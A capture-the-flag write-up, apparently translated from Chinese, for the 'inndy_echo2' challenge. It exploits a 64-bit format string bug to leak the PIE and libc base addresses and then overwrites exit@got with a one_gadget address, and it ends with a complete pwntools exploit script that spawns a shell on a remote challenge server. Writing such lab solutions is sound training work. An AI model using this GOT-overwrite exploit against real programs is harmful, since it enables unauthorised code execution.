inndy_echo2
step
- Routine inspection, 64-bit program, nx and pie enabled
- Try it locally and see the general situation. The guess is similar to echo.
- 64-bit ida is loaded, the same code as 32-bit echo, but an additional PIE
64-bit format string vulnerability is opened . It is quite different from 32-bit. Pay attention to the truncation of '00'. It can only modify 2 bytes at a time when it is modified in one step as 32-bit. If you are unclear, read this article first - First of all, for PIE, we must first find a way to leak the program base address.
When the echo function is executed, the previous element of the echo stack frame stores the return address of the function and returns to main, so there must be a return address in the stack to
find it.
Steps to adjust the base address of the program and libc :
gdb echo2
b main
r
keeps ni until the input point
. Check the offset of the program at the input point and make sure that the offset is 6.
At this time, the parameters on the stack have been loaded, check Elements on the stack
You can see that the parameters are stored directly on the stack, and there is no use of registers, so count the offsets marked in the above figure, whichmain+74
are 41 andlibc_start_main+240
43, so you get the base address of the program and the base address of libc
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9 #0x9b9是开启了pie的main函数地址
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
- Now we need to use the fgets function to leak
that the offset found when libc was moved before is 6. Use this offset to leak fgets@got. Pay attention to the '00' truncation, so we modified it here and adopted
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
8 *a is used to fill '00'
fgets_got_addr = elf_base + elf.got["fgets"]
exit_got = elf_base + elf.got["exit"]
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
p.recvuntil("stop")
fgets_addr = u64(sh.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)
libc = LibcSearcher('fgets', fgets_addr)
See that the matching libc is 2.23-64, download it on buu
- With the base address of the program and libc, PIE can be bypassed, the libc version is available, and you can try to modify the got table. At first, it was like changing printf@got to system, but there were some problems during the actual operation. I saw that the wp of other masters was too concise, and I didn’t understand it, so I changed the exit to one_gadget based on the wp of other masters.
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base
one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff
payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_addr)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_addr+2)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_addr+4)
p.sendline(payload)
p.recv()
sleep(0.5)
Finally, enter exit to call one_gadget to get the shell
Full exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node3.buuoj.cn',25416)
#p=process('./echo2')
elf=ELF('./echo2')
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
#fgets_got_addr = elf_base + elf.got["fgets"]
#p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))
#p.recvuntil("stop")
#fgets_addr = u64(p.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
#print hex(fgets_addr)
#libc = LibcSearcher('fgets', fgets_addr)
#print hex(libc.dump('fgets'))
libc=ELF('./libc-2.23-64.so')
libc_base=libc_start_main-libc.sym['__libc_start_main']
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base
one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff
payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_got)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_got+2)
p.sendline(payload)
p.recv()
sleep(0.5)
payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_got+4)
p.sendline(payload)
p.recv()
sleep(0.5)
p.sendline('exit')
p.interactive()